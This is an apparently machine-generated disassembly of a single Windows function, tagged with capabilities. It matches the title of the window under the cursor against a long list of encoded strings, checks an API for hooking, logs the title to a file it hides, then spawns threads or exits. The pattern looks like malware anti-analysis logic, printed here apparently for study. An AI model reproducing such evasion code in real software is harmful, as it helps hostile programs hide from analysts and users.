Function at 0x40b9d5
Capabilities:
Create thread
Get graphical window text
Set file attributes
Terminate process

Disassembly:
push 0x25c
mov eax, 0x5518ab
call fcn.00550118
xor esi, esi
xor edi, edi
imul ebx, esi, 0x14
imul eax, edi, 0x14
push ebx
push eax
call dword [sym.imp.USER32.dll_WindowFromPoint]
push 0xe1
lea ecx, [ebp - 0x110]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.0040af02
push 0x55df84
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55dfa0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55dfbc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55dfdc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55dffc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e020
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e040
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e05c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e078
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e094
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e0b0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e0cc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e0e8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e104
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e124
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e144
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e164
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e180
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e19c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e1b8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e1d4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e1f0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e20c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e228
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e244
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e260
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e27c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e298
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e2b4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e2d0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e2ec
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e308
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e324
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e340
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e35c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e37c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e39c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e3bc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e3d8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e3f4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e410
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e42c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e448
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e464
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e480
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e480
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e49c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e4b8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e4d4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e4f0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e50c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e528
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e544
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e560
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e57c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e598
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e5b4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e5d0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e5ec
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e608
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e624
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e640
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push str._xSk
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e680
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e6a0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e6bc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e6d8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e6f4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e710
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e710
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e72c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e748
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e764
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e780
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7a0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7a0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7c0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7dc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7dc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e7f8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e814
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e830
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e84c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e86c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e88c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push str..r
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e8c8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e8e4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e900
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e920
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e940
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e960
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e97c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e998
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e9b4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e9d0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55e9ec
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ea08
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ea24
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ea44
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ea64
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ea84
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eaa4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eac4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eae4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb04
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb24
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb44
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb60
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb7c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eb98
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ebb4
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ebd0
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ebec
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push str._al_f
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ec24
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ec40
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ec5c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ec78
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ec94
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ecb8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ecdc
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed00
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed1c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed38
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed54
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed70
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55ed8c
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55eda8
call fcn.00408fb9
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0040d220
add esp, 0xc
test eax, eax
jne 0x40d002
push 0x55f1c0
call fcn.00408fb9
pop ecx
push eax
push 0x55f1e0
call fcn.00408fb9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [eax + 6], 0xea
jne 0x40d037
push 1
call edi
cmp dword [0x68d67c], 1
jne 0x40d0a8
push 1
push 0x40
push 8
push 0x55c9cc
call fcn.00408fb9
pop ecx
push eax
lea ecx, [ebp - 0x268]
call fcn.00409075
and dword [ebp - 4], 0
push 0x55f204
call fcn.00408fb9
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.004081fc
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.004081fc
add esp, 0x14
lea ecx, [ebp - 0x268]
call fcn.00409583
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x268]
call fcn.00409144
cmp dword [0x68d68c], 1
jne 0x40d18b
lea eax, [ebp - 0x118]
push eax
call fcn.0041310f
lea eax, [ebp - 0x118]
push eax
call fcn.0040ee71
pop ecx
pop ecx
push 1
push 0x40
push 8
mov ebx, 0x55ca18
mov esi, eax
push ebx
call fcn.00408fb9
pop ecx
push eax
lea ecx, [ebp - 0x1c0]
call fcn.00409075
push 0x55ca30
mov dword [ebp - 4], 1
call fcn.00408fb9
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.004081fc
push esi
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.004081fc
push 0x55f228
call fcn.00408fb9
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.004081fc
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.004081fc
push 0x55ca78
call fcn.00408fb9
push eax
lea eax, [ebp - 0x1c0]
push eax
call fcn.004081fc
add esp, 0x38
lea ecx, [ebp - 0x1c0]
call fcn.00409583
push 2
push ebx
call fcn.00408fb9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x1c0]
call fcn.00409144
mov eax, dword [0x68d680]
cmp eax, 1
jne 0x40d1b5
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x40b9ad
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x40d1d3
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x40b985
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
jmp 0x40d1ac
cmp eax, 3
jne 0x40d1e4
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x4108b8
jmp 0x40d19f
cmp eax, 4
jne 0x40d21c
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x40b022
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x200010
push 0x55f24c
call fcn.00408fb9
pop ecx
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40d1ae
push 0
jmp 0x40d1af